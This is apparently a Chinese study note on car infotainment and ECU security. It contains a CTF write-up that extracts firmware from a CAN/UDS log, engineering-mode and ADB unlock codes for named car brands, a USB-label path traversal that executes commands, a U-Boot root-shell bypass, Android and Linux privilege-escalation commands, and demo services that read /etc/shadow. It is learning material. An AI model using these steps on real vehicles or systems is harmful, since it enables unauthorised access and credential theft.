第三步/计算密钥进入27服务

通过种子计算,使用双方约定算法计算密钥,发送密钥,对应子服务为06,尝试进入27服务

1
2
9.782739 1  730             Tx   d 8 06 27 06 EE DD CC BB AA
9.783703 1 7B0 Rx d 8 02 67 06 00 00 00 00 00

依据密钥0xEEDDCCBB,响应正反馈67 06,允许进入27服务

第四步/31例程控制,擦除Flash

进入27服务后,发送多帧数据,请求擦除Flash

1
2
3
4
9.788131 1  730             Tx   d 8 10 0D 31 01 FF 00 44 08
9.788431 1 7B0 Rx d 8 30 08 00 00 00 00 00 00
9.788947 1 730 Tx d 8 21 00 00 00 00 00 20 00
9.789707 1 7B0 Rx d 8 05 71 01 FF 00 00 00 00
  • 第一帧:10 0D,代表多帧数据首帧,数据字节数为0xD个字节,后面的31 01 FF 00 44 08即为首帧数据。
  • 第二帧:车机返回数据,30 08 00...00,代表多帧数据中控制速率的帧,不用解析
  • 第三帧:21中的2代表为多帧数据中的一个帧,1代表为多帧数据中首帧之后的第一个数据帧,传输数据为00 00 00 00 00 20 00
  • 第四帧:车机返回数据,05 71 01 FF 00 00,代表针对31 01 FF 00服务的正反馈

总的传输数据为31 01 FF 00 44 08 00 00 00 00 00 20 00

  • 31 01 FF 00其中31RoutineControl (0x31) 服务,表示客户端用于执行一系列定义的步骤并获取相关结果,在UDS诊断协议一节中有对应表格解释。01routineControlType RoutineControl Request SID := startRoutine代表例程控制类型,为启动例程,对应还有02停止例程,03请求例程结果。FF 00表示具体的例程控制服务,功能为内容擦除。详细目录可参考ISO 14229-1-2020中的Annex F (normative) Routine functional unit data-parameter definitions一节的Table F.1 — routineIdentifier definition,提取内容如附录所示。
  • 0x44代表后面的地址和地址字宽都是4字节
  • 08 00 00 00代表Flash擦除的起始地址为0x08000000
  • 00 00 20 00代表需要擦除0x00002000个字节

可参考:跟我学UDS(ISO14229) ———— 0x31(RoutineControl)_小趴菜_自动驾驶搬砖人的博客-CSDN博客

第五步/34例程控制,请求下载

发送多帧数据,请求下载

1
2
3
4
9.791765 1  730             Tx   d 8 10 0B 34 00 44 08 00 00
9.792061 1 7B0 Rx d 8 30 08 00 00 00 00 00 00
9.792625 1 730 Tx d 8 21 00 00 00 20 00 AA AA
9.793715 1 7B0 Rx d 8 04 74 20 01 02 00 00 00

就不逐帧解析了,服务为34 00,请求下载ECU固件,发送的多帧总数据长度为0x0b,总数据为34 00 44 08 00 00 00 00 00 20 00,即请求下载ECU固件到0x08000000地址处,总计下载0x00002000字节数据。

可参考:跟我学UDS(ISO14229) ———— 0x34(RequestDownload)_小趴菜_自动驾驶搬砖人的博客-CSDN博客

第六步/36数据传输

发送多帧数据,请求数据传输

1
2
3
4
5
6
7
8
9
10
11
   9.795696 1  730             Tx   d 8 10 82 36 01 28 04 00 20
9.795987 1 7B0 Rx d 8 30 08 00 00 00 00 00 00
9.796548 1 730 Tx d 8 21 45 01 00 08 21 03 00
9.796790 1 730 Tx d 8 22 08 23 03 00 08 27 03
9.797030 1 730 Tx d 8 23 00 08 2B 03 00 08 2F
.....
9.802931 1 7B0 Rx d 8 02 76 01 00 00 00 00 00
9.804553 1 730 Tx d 8 10 82 36 02 5F 01 00 08
9.804847 1 7B0 Rx d 8 30 08 00 00 00 00 00 00
9.805419 1 730 Tx d 8 21 5F 01 00 08 5F 01 00
....

服务为36,每次多帧传输实际数据为0x80(0x82-0x02),总计传输0x40(0x2000/0x80)

第七步/37退出数据传输服务

传输数据完成后,发送37 01服务,退出数据传输

1
2
10.314499 1  730             Tx   d 8 02 37 01 AA AA AA AA AA
10.315695 1 7B0 Rx d 8 06 77 01 C6 B6 5E 10 00

得到正反馈06 77 01,允许退出

第八步/31例程控制,厂商自定义功能

服务为31 01 DF FF0xDFFF为厂商自定义服务

1
2
3
10.318529 1  730             Tx   d 8 04 31 01 DF FF AA AA AA 
10.319707 1 7B0 Rx d 8 03 7F 31 78 00 00 00 00
10.320695 1 7B0 Rx d 8 05 71 01 DF FF 00 00 00

这里针对31 01服务反馈的0x7f不知道什么意思,后面又正反馈了,不过不影响解题

第九步/31例程控制,检查编程依赖

服务为31 01 FF 01,检查编程依赖

1
2
10.322633 1  730             Tx   d 8 04 31 01 FF 01 AA AA AA
10.323695 1 7B0 Rx d 8 05 71 01 FF 01 00 00 00

第十步/ECU复位

服务为02 11 01,对ECU进行复位

1
2
3
10.325697 1  7DF             Tx   d 8 02 11 01 AA AA AA AA AA
10.326689 1 7B0 Rx d 8 03 7F 11 78 00 00 00 00
11.326752 1 7B0 Rx d 8 02 51 01 00 00 00 00 00

中间有个拒绝复位的,不知道咱们回事,后面又正反馈了,也不影响解题

那么主要就是第六步中的数据传输,编写脚本进行提取,参考:CTF实战

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import re
frame_len = 0
frame_data = ""
handled_len = 0

with open("ecu_can_log.asc") as f:
for line in f.readlines():
data = re.findall(r"730 Tx d 8 10 (..) 36 .. (.. .. .. ..)",line)
if len(data):
frame_len = int(data[0][0],16)
handled_len = 6
frame_data += data[0][1] + " "
continue
data = re.findall(r"730 Tx d 8 2(.) (.. .. .. .. .. .. ..)",line)
if len(data) and frame_data:
left_len = frame_len - handled_len
if left_len > 7:
frame_data += data[0][1] + " "
handled_len += 7
else:
frame_data += data[0][1][0:left_len*-1] + " "

with open("./output.bin","wb+") as f:
f.write(bytes.fromhex(frame_data.replace(" ","")))

最后得到output.bin文件,放入IDA进行解析,设置arm小端序格式

image-20230913151525141

随后设置ROMInput file起始地址为0x08000000

image-20230913151636812

进入分析之后,按下Alt + g进行指令格式修改,设置如下

image-20230913151725568

随后按c转为代码即可正常逆向,0x08000000为起始地址及函数,可以从这开始分析,查找字符串即可看到flag,但是不是最终的,需要进入函数进行分析

image-20230913151820185

image-20230913155213705

在如下函数进行修改

image-20230913155244062

最终得到flag,那么提取出来计算一下就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
ori_flag = "canoecr7-zd9h-1emi-or8m-f8vm2od81nfk"
ori_flag = list(ori_flag)
a1 = []
for i in ori_flag:
#print(i)
a1.append(ord(i))

a1[2] -= 13
a1[11] -= 5
a1[15] -= 44
a1[3] -= 11
a1[5] -= 48
a1[7] += 43
a1[28] += 50
a1[31] += 46
a1[19] -= 13
a1[20] -= 66
a1[1] += 3
a1[29] -= 55
a1[24] -= 51
a1[9] -= 23
a1[25] -= 6
a1[27] -= 60
a1[4] -= 52
a1[6] -= 14
a1[30] -= 52
a1[22] -= 58
a1[12] -= 48
a1[16] -= 56
a1[34] -= 53
a1[0] -= 48
a1[14] += 3
a1[17] -= 5
a1[33] -= 55
a1[35] -= 56
a1[10] -= 2
a1[26] -= 67
a1[21] -= 6
flag = "flag{"
for i in a1:
flag += chr(i)
flag += "}"
print(flag)

使用ghidra也可以加载File->import File,设置languagearmv6小端序

image-20230913153250226

随后options打开,设置一下基地址即可

image-20230913154044197

也从最开始的函数分析即可

image-20230913154307880

找到flag

image-20230913154327708

一样解析一下即可。

车联网比赛准备

站在主办方的角度准备车型、品牌,比如比赛在重庆举办,那么使用长安汽车的概率久比较高。

常见漏洞点

1.工程模式

2.流量分析

与车机组网,向上分析TSP平台的漏洞,常见的WEB漏洞;向下分析车机端的漏洞,比如任意软件安装

如果DNS(53)端口开放,那么热点极有可能是TBOX发出的。

3.系统漏洞挖掘

拿到车机权限后就是进一步漏洞挖掘了

4.调试接口

通过逻辑分析仪和示波器等,可以判断调试串口的Tx接口、波特率等。

常见风险点

进入系统,一般查找如下几个点

  • 运行了哪些进程
  • 开启了哪些端口
  • 有没有厂家开发人员留下的调试手段/后门等
  • 和哪些云端主机进行通讯
  • 应用商店使用抓包:
    • 中间人替换应用包
    • 应用商店FTP获取用户名密码,登录篡改apk
  • APP使用抓包

车机TIPs

工程模式

有很多的特殊的进入方法,比如拨号盘输入密码,长按系统版本版本号,时间等,逆向固件获取工程模式密码,咸鱼/淘宝搜索车型固件,社工

长安

部分车型在拨号盘输入*#201301#*进入工程模式,输入*#518299#*进入Android原生界面

ADB开启

小鹏

小鹏P5 (OTA3.50及之前)或小鹏G9 (OTA4.3.1及之前)或小鹏G6(末测试)或小鹏P7(OTA2.10及之前)或小鹏G3 (版本不确定,最新版不行)

电脑和车机组网

打开车机的拨号界面,输入 *#9925*111#*

此时车机会显示一个页面,其中包含一个二维码

使用微信扫描车机的二维码,并将内容保存备用

在任意输入框中输入内容 https://hackxpeng.bgcpdd.eu.org/xpeng?m=hackxpeng&id= ,然后将获取到的二维码内容复制到最后面,注意此处不要有任何的空格

使用浏览器打开输入框中的所有内容 (网址拼接,如: https://hackxpeng.bgcpdd.eu.org/xpeng?m=hackxpeng&id-XPENGD55xXXXXXxxxxxxxx

浏览器返回一个解锁码,如*#03*12345678*#

将该解锁码输入车机的拨号界面,此时解锁码会自动消失,如果没有消失请手动删除所有内容

image-20230915094134303

固件获取

获取固件的方法有很多,除了提取之外还能从论坛、官网下载等

  • 官网下载:车企官网可能可以下载车机升级包

  • 分析流量获取下载地址:可以抓取车机升级包的流量,如果通过明文传输可以获取到下载地址

  • 从Flash提取:编程器提取芯片

  • 通过调试接口提取:车机上的系统,通常来说可以通过调试接口获取到对应的固件

  • 从系统导出:这个就需要拿到shell权限进行导出了,常见命令为

    1
    dd if=/dev/mtd0 of=/tmp/SD0/mtd0.bin

固件分析

常见的固件功能清单如下

名称 功能
container.iso.bin ISO光盘文件,包含bootloader、资源文件等
content.md5 保存其他文件的MD5值
custver.reg.bin 注册表文件,记录软件版本信息
force.dnl 配置文件
initramfs.bin 内核文件
1x001.tar.gz 压缩的根文件系统
manifest.ini 配置文件,记录固件的版本号、创建日期等
manifest.mnf manifest文件
manifest.smd 其他文件的签名信息,用于验证数据是否被篡改
reg_eur.tar.gz 压缩的资源文件
reg_gom.tar.gz.bins 压缩的资源文件
reg_nar.tar.gz 压缩的资源文件
SpecialLogDirX 日志文件
triton_mid.bin u-boot legacy uImage文件
uimage.bin 内核文件
version.info 版本信息

USB目录穿越

针对1x001.tar.gz是车机的根文件系统,在文件系统中找到USB挂载程序,存在路径穿越漏洞,在udev的配置程序/etc/udev/scripts/mount.sh中,automount()函数用于挂载USB设备

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
automount()
if [ -z "${ID_FS_TYPE}" ]; then
logger -p user.err "mount.sh/automount" "$DEVNAME has no filesystem, not mounting"
return
fi
if [ -n "${ID_FS_UUID}" ]; then
mountdir = ${ID_FS_UUID}
elif [-n "${ID_FS_LABEL}" ]; then
mountdir = ${ID_FS_LABEL}
else
mountdir = "disk"
while [ -d $MOUNTPT/$mountdir ]; do
mountdir = "${mountdir}_"
done
fi

.....
result = $($MOUNT -t ${ID_FS_TYPE} -o sync,ro$IOCHARSET $DEVNAME "$MOUNTPT/$mountdir" 2>&1)

上述程序逻辑如下

  • 通过ID_FS_TYPE识别U盘文件系统的格式,如果识别成功则继续,否则退出
  • 继续则识别U盘的ID_FS_UUIDID_FS_LABEL,用于构造最终的挂载点,U盘挂载的地址由MOUNTPTmountdir进行拼接而成,MOUNTPT为固定值/dev/mediamountdir为一个变量,依据U盘中对于ID_FS_UUIDID_FS_LABEL进行赋值确定
  • 如果ID_FS_UUID不为空,则mountdir的值为ID_FS_UUID,如果为空,则判断ID_FS_LABEL是否为空,不为空则mountdir的值赋值为ID_FS_LABEL,若都为空,则将mountdir赋值为disk
  • 上述代码最终会将U盘挂载到/dev/media/$mountdir上,那么如果$mountdir可控,就可以通过../进行目录穿越,将之挂载到任意地方,比如/usr/bin/
  • $mountdir是可以通过ID_FS_UUIDID_FS_LABEL来确定,而ID_FS_UUIDID_FS_LABEL可以使用工具对U盘对应值进行修改,这样就可以通过ID_FS_UUIDID_FS_LABEL来控制$mountdir从而制造目录穿越。

使用blkidtune2fse2label命令来对U盘进行对应值修改,命令如下

1
2
3
4
5
6
7
blkid /dev/sdb1      #查看UUID
e2label /dev/sdb1 #查看LABEL

umount /dev/sdb1
tune2fs -U NULL /dev/sdb1 #置空UUID

e2label /dev/sdb1 "../../usr/bin" #将LABEL置为"../../usr/bin"

随后继续看mount.sh,有如下代码

1
2
3
4
5
6
7
8
if [${status} -ne 0];then
logger -p user.err "mount.sh/automount" "$MOUNT -t ${ID_FS_TYPE} -o sync,ro $DEVNAME \"$MOUNTPT/$mountdir\" failed: ${result}"
rm_dir "$MOUNTPT/$mountdir"
else
logger "mount.sh/automount" "mount [$MOUNTPT/$mountdir] with type ${ID_FS_TYPE} successful"
mkdir -p {MOUNTDB}
echo -n "$MOUNTPT/$mountdir" > "${MOUNTDB}/$devname"
fi

命令logger位于/usr/logger目录下,可以将LABEL置为../../usr/bin/从而将U盘中的同名命令logger放入到/usr/bin/中,那么在mount.sh调用到logger时,就会调用到U盘中的logger,那么即可执行任意命令,也就是说通过插拔U盘即可执行命令,不用进入到车机中,那么这时可以通过组网进行反弹shell到电脑中。

符号表恢复

系统启动

如果在调试串口的系统启动过程有Hit any key to stop autoboot: 0,那么代表在启动时时可以输入任意值进入U-Boot的。

进入之后可以通过输入help可以查看命令帮助,一般会有printenvsetenvsaveenv等设置环境变量的命令,可以通过这些命令进入单用户模式重置root用户的密码

比如bootargs环境变量如下

1
console = ${console},115200n8n mem=${linuxmem} maxcpus=${cores} root=/dev/${rootdev} rootwait lpj=1994752 panic=${panic} panic=${panic} panic_on_oops=${panic_on_oops} usbcore.rh_oc_handle=1 ${xtargs}

可以使用设置环境变量的命令在最后添加init=/bin/sh

1
2
3
setenv bootargs console = ${console},115200n8n mem=${linuxmem} maxcpus=${cores} root=/dev/${rootdev} rootwait lpj=1994752 panic=${panic} panic=${panic} panic_on_oops=${panic_on_oops} usbcore.rh_oc_handle=1 init=/bin/sh
saveenv
reset

车机重启后,就能直接进入单用户模式,获得rootshell,此时就可以重置一些密码,添加一些后门等。

测试工具

USBtin - USB to CAN interface - fischl.de

CANToolz

GitHub - CANToolz/CANToolz: CANToolz - Black-box CAN network analysis framework

进行CAN模糊的

USBtinViewer

USBtin - USB to CAN interface - fischl.de

GitHub - EmbedME/USBtinViewer: Simple GUI for USBtin (USB to CAN interface)

进行USBCAN协议探测

测试方法

故障注入

电压故障注入:《敲开内存保护的最后一扇门》付鹏飞

电磁故障注入:GitHub - newaetech/chipshouter-picoemp: Why not run micropython on your EMFI tool?

附录

ISO 14229-1-2020例程RID标准

RID Byte Value RID Name RID Description
0x0000 – 0x00FF ISO/SAE Reserved This value shall be reserved by this document for future definition
0x0100 – 0x01FF Tachograph Test Ids This range of values is reserved to represent Tachograph test result values.
0x0200 – 0xDFFF Vehicle Manufacturer Specific This range of values is reserved for vehicle manufacturer specific use.
0xE000 – 0xE1FF OBD Protocol Test Ids This range of values is reserved to represent OBD/EOBD test result values
0xE200 Execute SPL This value shall be used to convert a program module to an executable form.
0xE201 Deploy Loop Routine ID This value shall be used to initiate the deployment of the previously selected ignition loop.
0xE202 – 0xE2FF Safety System Routine IDs This range of values shall be reserved by this document for future definition of routines implemented by safety related systems.
0xE300 – 0xEFFF ISO/SAE Reserved This value shall be reserved by this document for future definition.
0xF000 – 0xFEFF System Supplier Specific This range of values is reserved for system supplier specific use.
0xFF00 Erase Memory This value shall be used to start the server’s memory erase routine. The Control option and status record format shall be ECU specific and defined by the vehicle manufacturer.
0xFF01 Check Programming Dependencies This value shall be used to check the server’s memory programming dependencies. The Control option and status record format shall be ECU specific and defined by the vehicle manufacturer.
0xFF02 – 0xFFFF ISO/SAE Reserved This value shall be reserved by this document for future definition.NOTE FF0216 was formerly used for eraseMirrorMemoryDTCs.

参考:国产智能网联汽车漏洞挖掘中的几个突破点 (qq.com)

还有很多,在文章中有参考的应该都有标注

NRC错误码

Hex Name Description
01 ISOSAEReserved ISO 保留,暂时未定义

0F
10 GeneralReject 一般性拒绝。通常在无法准确描述错误时发出
11 serviceNotSupported 服务不支持。多出现在服务未被定义
12 sub-functionNotSupported 子功能不支持。多出现子功能未被定义
13 ncorrectMessageLengthOrInvalidFormat 报文长度错误
14 responseTooLong 响应字节数太长
15 ISOSAEReserved ISO 保留,暂时未定义

20
21 busyRepeatRequest 过忙导致执行失败。多出现在快速发送请求
22 conditionsNotCorrect 条件不满足。多出现在整车状态无法满足诊断的需求
23 ISOSAEReserved ISO 保留,暂时未定义
24 requestSequenceError 请求的顺序错误。多出现在没有首先接收请求的情况下接收sendKey子功能
25 noResponseFromSubnetComponent 子网无法响应
26 FailurePreventsExecutionOfRequestedAction DTC出现了错误的记录。一般不出现
27 ISOSAEReserved ISO 保留,暂时未定义

30
31 requestOutOfRange 请求超出范围
32 ISOSAEReserved ISO 保留,暂时未定义
33 securityAccessDenied 安全访问模式错误
34 ISOSAEReserved ISO 保留,暂时未定义
35 invalidKey 密钥key无效
36 exceededNumberOfAttempts 收到的invalidKey超过了允许的尝试次数
37 requiredTimeDelayNotExpired NRC_36之后,安全访问锁定的时间内再次请求seed
38 reservedByExtendedDataLinkSecurityDocument 扩展数据链路层保留

4F
50 ISOSAEReserved ISO 保留,暂时未定义

6F
70 uploadDownloadNotAccepted 上传/下载受限。多出现在通过诊断刷写程序
71 transferDataSuspended 数据传输中断。多出现在通过诊断刷写程序
72 generalProgrammingFailure 编程失败。多出现在通过诊断刷写程序
73 wrongBlockSequenceCounter 块序计算错误。多出现在通过诊断刷写程序
74 ISOSAEReserved ISO 保留,暂时未定义

77
78 requestCorrectlyReceived-ResponsePending 请求正常接收,但应答正在响应中
79 ISOSAEReserved ISO 保留,暂时未定义

7D
7E sub-functionNotSupportedInActiveSession 该子功能在当前会话下不支持
7F serviceNotSupportedInActiveSession 该服务在当前会话下不支持
80 ISOSAEReserved ISO 保留,暂时未定义
81 rpmTooHigh 编程管理地址过高
82 rpmTooLow 编程管理地址过低
83 engineIsRunning 发动机运转。·
84 engineIsNotRunning 发动机未运转
85 engineRunTimeTooLow 发动机运行时间过短
86 temperatureTooHigh 温度过高
87 temperatureTooLow 温度过低
88 vehicleSpeedTooHigh 车速过高
89 vehicleSpeedTooLow 车速过低
8A throttle/PedalTooHigh 油门/踏板太高
8B throttle/PedalTooLow 油门/踏板太低
8C transmissionRangeNotInNeutral 非空挡
8D transmissionRangeNotInGear 不在指定档位
8E ISOSAEReserved ISO 保留,暂时未定义
8F brakeSwitch(es)NotClosed 踏板开关未关闭
90 shifterLeverNotInPark 车辆处于非P档
91 torqueConverterClutchLocked 液力变矩器离合器锁定
92 voltageTooHigh 电压过高
93 voltageTooLow 电压过低
94 reservedForSpecificConditionsNotCorrect 预留给特定异常情况

EF
F0 vehicleManufacturerSpecificConditionsNotCorrect 预留给整车厂定义的特定异常情况

FE
FF ISOSAEReserved ISO 保留,暂时未被定义
参考:跟我学UDS(ISO14229) ———— NRC码_nrc uds-CSDN博客

硬件安全

1.芯片PCB丝印

通过Datasheet,google等搜索芯片的PCB丝印信息

2.引脚探测

使用JTAGulator可以连接各个接口,地线,然后通过串口连接

image-20231212110209305

分析Jtag接口

image-20231212110223873

其他的也是类似的,help查看命令即可。

3.固件提取读写

提取

拆解芯片之后,使用RT809H编程器打开进行芯片识别,然后提取即可。

读写

通过飞线连接对应的Jtag或者SWD接口等,然后用JFlash进行连接即可读取刷写

image-20231212110555867

image-20231212110612357

Target->Connect连接,随后选取range读取Flash,选取范围,有的芯片是只能读写某个范围的数据,可以自己尝试

image-20231212110636346

智能汽车网络安全权威指南

第11章不得不说的汽车网络安全攻击手法

攻击向量分析

整车攻击面

硬件分析

具体再看

固件逆向

固件逆向知识点

1.固件分类

  • Bare Metal(裸机)固件:
    • 车内的Bare Metal通常是基于Autosar CP(Classical Platform AUTOmotive Open System Architecture)实现的标准嵌入式系统。它的任务通常不会超过3/4个,在特定条件下运行。
    • 基本都是基于C语言编写的,常见的C语言漏洞也适用
    • 没有预定义的文件结构,通常需要了解芯片手册,创建内存映射再进行反汇编。
  • 成熟的操作系统固件:
    • 大多为Linux、windows CE、Android等等
    • 通常包含三个组件:BootLoader、内核、文件系统。

2.固件解包

(1)清除OOB

从Flash中提取的固件,需要将固件中的Out-Of-Band(OOB)空闲区块去除,常见存储为格式如下两种

微信图片_20231030114332

对于2048字节的可以使用如下python代码清除

1
2
3
4
5
6
data = open("image.bin","rb").read()
f = open("fix.bin","wb")
p = 2112
for i in range(len(data)//p):
f.write(data[i*p:i*p+2048])
f.close()
(2)解包固件

3.固件逆向

(1)指令集识别

可以用Binwalk -A进行识别指令集。

(2)获取基地址
(3)函数恢复
  • log函数识别,没看懂
  • BSP(Board Support Package)重编译:如果有与芯片固件相对应的BSP软件包,那么可以尝试编译,然后用bindiff进行比对识别函数。
  • CMSIS-SVD符号恢复法,不太懂

……

(4)固件代码定位

….

(5)固件调试

主要是用芯片级别的调试,使用JTAG

WEB漏洞

远程车机应用攻击

BLE蓝牙钥匙

重放:nccgroup/BLE-Replay: BLE-Replay is a Bluetooth Low Energy (BLE) peripheral assessment tool (github.com)

或者使用gatttool进行重放

Android攻击

敏感信息

apkurlgrepndelphit/apkurlgrep: Extract endpoints from APK files (github.com)扫描APK中使用的URL

apkleaksdwisiswant0/apkleaks: Scanning APK file for URIs, endpoints & secrets. (github.com)扫描APK中的密钥、URI等

StaCoAnvincentcox/StaCoAn: StaCoAn is a crossplatform tool which aids developers, bugbounty hunters and ethical hackers performing static code analysis on mobile applications. (github.com)可以帮忙扫描硬编码密钥、apikey、密码等信息

检查Manifest.XML

  • 检查应用程序是否可以调试:debugable = "true"

  • 检查是否可以允许备份:android:allowBackup = "true"

  • 检查是否有导出的Activity:是否有<activity android:name=".TestActivity" android:exported="true"/>,这样的Activity组件可以被其他应用调用

    如果存在,可以以如下命令尝试启动

    1
    adb shell am start -n com.example.demo/com.example.test.MainActivity
  • 检查是否有导出的Content Provider:是否有<provider android:name=".DBContentProvider" android:export="true",这样的Provider可以被其他应用调用

    Content Provider所提供的数据可以存储在数据库、文件、网络上,可以用一个Drozer来模拟应用程序调用四大组件

    WithSecureLabs/drozer: The Leading Security Assessment Framework for Android. (github.com)

    • 当Content Provider为数据库存储,可能出现sql注入,可以如下尝试

      1
      2
      dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
      unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
    • 当Content Provider为文件存储时,可能有目录穿越

      1
      dz> run app.provider.read content://[APPLICATION_ID]/public/../../databases/database.db
  • 检查是否有导出的Service:是否有<service android:name=".ExampleExportedService" android:exported="true"/>,这样的Service可以被其他应用调用

    常见的处理代码从handleMessage函数开始,快速定位如下关键函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    private final class ServiceHandler extends Handler {
    public ServiceHandler(Looper looper){
    super(looper);
    }
    @Override
    public void handleMessage(Message msg){
    // Normally we would do some work here, like download a file.
    // For our sample,we just sleep for 5 seconds
    try {
    Thread.sleep(5000);
    }catch (InterruptedException e){
    // Restoreinterrupt status.
    Thread.currentThread().interrupt();
    }
    // Stop the service using the startId,so that we don't stop
    // the service in the middle of handling another job
    stopself(msg.arg1);
    }
    }

    使用Drozer调用服务

    1
    run app.service.send <package name> <component name> --msg <what> <arg1> <arg2> --extra <type> <key> <value> --bundle-as-obj
  • 检查是否有广播接收器:是否有<receiver android:name=".MyBroadcastReceiver" android:exported="true"/>,这样其他的应用可以发广播给该程序

    重点关注onReceive函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    public class MyBroadcastReceiver extends BroadcastReceiver {
    private static final String TAG = "MyBroadcastReceiver";
    @Overridepublic void onReceive(Context context, Intent intent){
    StringBuilder sb = new StringBuilder();
    sb.append("Action: + intent.getAction() + “\n");
    sb.append("URI:" + intent.touri(Intent.URI INTENT SCHEME).toString()+"\n");
    String log = sb.tostring();
    Log.d(TAG,log);
    Toast.makeText(context,log, Toast.LENGTH LONG).show();
    }
    }

    使用Drozer调用服务

    1
    run app,broadcast.send --component <package name> <component name>--action<action> --extra <type> <key> <value>
  • 检查是否有URL Scheme:检查Activity中是否有<data android:scheme="app" android:host="open.my.app" />这样的Activity可以被其他应用通过URL打开,包括浏览器,这个即为Deeplink,用adb测试

    1
    adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]

    通常还需要检查是否存在敏感参数,密码,明文传输,证书检查,弱密码套件(即加密算法)

    Deprecated CipherSpecs - IBM Documentation

  • 检查Activity模式是否为singleTask:具有singleTask模式的Activity具有被劫持的风险,此类漏洞可以参考:Android task hijacking using moveTaskToBack() and excludeFromRecents (takemyhand.xyz)

    检查是否有<activity android:name=".MainActivity" android:launchMode="singleTask"/>

代理组件攻击

不懂

过时加密算法

Deprecated CipherSpecs - IBM Documentation

自动化静态分析

MobSF/Mobile-Security-Framework-MobSF: Mobile Security Framework (MobSF) is an automated, all-in-one mobile application (Android/iOS/Windows) pen-testing, malware analysis and security assessment framework capable of performing static and dynamic analysis. (github.com)

Vooki - Free Android APK & API Vulnerability Scanner | Vooki Infosec (vegabird.com)

重点关注的函数

  • 从外部获取数据:getOutputStreamgetParcelable
  • 具有风险行为的函数:execsendBroadcast

参考:secure-software-engineering/FlowDroid: FlowDroid Static Data Flow Tracker (github.com)

日志分析

JakeWharton/pidcat: Colored logcat script which only shows log entries for a specific application package. (github.com)

客户端注入

SQL注入、Javascript注入(XSS)如果webview代码中调用了setJavaScriptEnabled函数则可能开启,默认关闭的。

本地文件包含,如果代码调用setAllowFileAccess(false)则表示关闭了,默认开启的。

Linux攻击

1.信息收集

  • root权限进程:

    1
    ps -ef
  • 查看网络信息,哪些开放断开,哪些有UNIX socket

    1
    netstat -npl
  • 检查suid程序

    1
    find / -type f -perm -u=s -ls 2>/dev/null
  • 检查任意用户可写的文件看是否能提取

    1
    find / -perm -2 -type f -ls 2>/dev/null | grep -v "/proc/"
  • 检查任意用户可写的目录,是否可以创建符号链接来提权

    1
    find / -perm -2 -type d -ls 2>/dev/null
  • 查看设备,寻找可以访问的设备

    1
    ls -l /dev
  • 查看文件系统,观察哪些目录是可写的

    1
    mount
  • 查看内核模块,是否存在自定义的内核模块

    1
    lsmod
  • 查看防火墙,是否对高危端口做了隔离

    1
    iptables-save
  • 查看网卡配置,检查其IP、MAC等信息

    1
    ifconfig
  • 查看路由,检查网络通信方式

    1
    2
    ip route list table all
    ip rule list
  • 检查内核版本,查看是否有历史漏洞

    1
    uname -a
  • 检查环境变量,是否存在可写的文件或目录

    1
    env
  • 检查crontab,是否存在可写的文件或目录

    1
    cat /etc/crontab
  • 检查crontab的定时执行文件以及里面执行的内容,是否具有可写权限

    1
    ls -al /etc/cron.daily

2.用户态攻击

(1)文件修改
  • 可执行文件:包括shell、so等等,如果运行用户为root,但是低权限用户可以修改,则可以尝试修改获取shell

  • 配置文件

    1
    2
    3
    /etc/passwd    修改用户登录时执行的命令
    /etc/ld.so.conf 添加导入.so库的目录
    /etc/httpd.conf 添加自定义插件
  • 数据库文件:通过控制数据库文件,从而影响从数据库文件获取数据的程序,比如将数据带入system,将数据当作URL访问之类的

  • Service文件:使用systemd的系统中会存在.service文件,如果可以修改,则可以在启动或者停止服务时加入自己的代码。比如修改ExecStart = /tmp/my.sh,就可以在启动停止服务时执行my.sh。其他的比如.time.socket

(2)文件夹可写

在可写文件夹中删除不可修改的文件,再创建该文件,从而达到修改文件的目的。

(3)Capability滥用

查找具有Capability的进程

1
getcap -r / 2>/dev/null

如果程序具有cap_dac_override,那么该程序就可以写任意文件,如果可以控制写的目标文件和内容,就能达到提权目的了。此外还有CAP_SYS_ADMINCAP_SYS_PTRACECAP_SYS_CHOWN等等

(4)SUID
(5)Linux IPC

即攻击者作为普通用户普通进程,通过IPC和具有漏洞的root进程进行数据交互传输,利用root进程的漏洞来获取shell,从而完成提权,常见的有socket、MemoryMap、SystemV、Posix、NamePipe、SharedMemory等等

(6)总线协议

常见的总线协议为DBus和MQTT协议,这个暂时不懂可以用如下python代码和C代码建立DBus服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import dbus
import dbus.service
import dbus.mainloop.glib
from gi.repository import GLib
import os

class ExampleDBusService(dbus.service.Object):
def __init__(self, bus_name):
super().__init__(bus_name, '/com/example/MyService')

@dbus.service.method('com.example.MyServiceInterface', in_signature='s', out_signature='s')
def ProcessData(self, data):
print(f"Received data: {data}")
os.system("cat /etc/shadow")
# 这里可以添加处理数据的代码
return "Data processed"

def main():
dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)

session_bus = dbus.SessionBus()
bus_name = dbus.service.BusName('com.example.MyService', session_bus)
service = ExampleDBusService(bus_name)

loop = GLib.MainLoop()
print("Service started")
try:
loop.run()
except KeyboardInterrupt:
print("Service stopped")
loop.quit()

if __name__ == '__main__':
main()

C代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
//gcc dbus_service.c -o dbus_service `pkg-config --cflags --libs dbus-1`
#include <dbus/dbus.h>
#include <stdbool.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

static DBusHandlerResult example_message_handler(DBusConnection *conn, DBusMessage *message, void *user_data) {
//printf("get!");
system("cat /etc/shadow > /home/hacker/Desktop/Work/DBus/aaaa");
if (dbus_message_is_method_call(message, "com.example.MyService", "MyMethod")) {
